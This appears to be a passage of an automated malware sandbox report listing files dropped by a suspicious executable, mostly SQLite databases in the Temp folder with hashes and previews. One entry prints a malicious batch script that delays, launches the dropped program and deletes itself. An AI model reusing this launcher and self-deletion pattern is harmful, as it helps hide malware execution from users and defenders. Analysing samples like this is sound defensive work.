File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0LCgrngGO7

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0RI2dvffcM

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0VVz3t22UW

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0YDlTOLbXv

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0rXqYuRKkE

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0rnYVCOVhJ

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1FTwJT7wX7

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1JzSVNchys

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1Q9e2DmKuK

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1TrINQYVcJ

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1n0SQU5MKx

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\25buwBa2ql

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2K3wfCcSpW.bat

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	218
Entropy (8bit):	5.177909013442466
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DEimWXpIyEyKOZG1wkn23fdxh:HTg9uYDEoIypflX
MD5:	2471D4EFD2195043CEDD2AC4FB31488F
SHA1:	F9506B88BD4464D522BF020D2B27F6A32317AE49
SHA-256:	7D38380C5CE1F5749C18FCB50F884D403E6979D6580DD712AC61EEEF153AA550
SHA-512:	739F9C60DB594DC08DCBC4CDEFE2CEDE8DF85C524911BAEC70EE3179B03D657E696C5EE59F6305F528DEDC5E61FCBF53C24E7348BB5184880BDF3C9DB1E8467A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Windows\ShellExperiences\uAsLgsGzSk.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\2K3wfCcSpW.bat"

C:\Users\user\AppData\Local\Temp\2POFNQ798J

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2PbfpHsZDh

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2b926zOuV1

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3W7jZa62wc

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3fffmSz1ON

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3rrYSu75Jn

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4hSK9bJ5l4

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4ovsZDzFm8

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5KBDoc20mZ

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5KF8hdLPGv

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5NX80Huebj

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5RB7lrK5VK

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5uTkSwXIsF

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
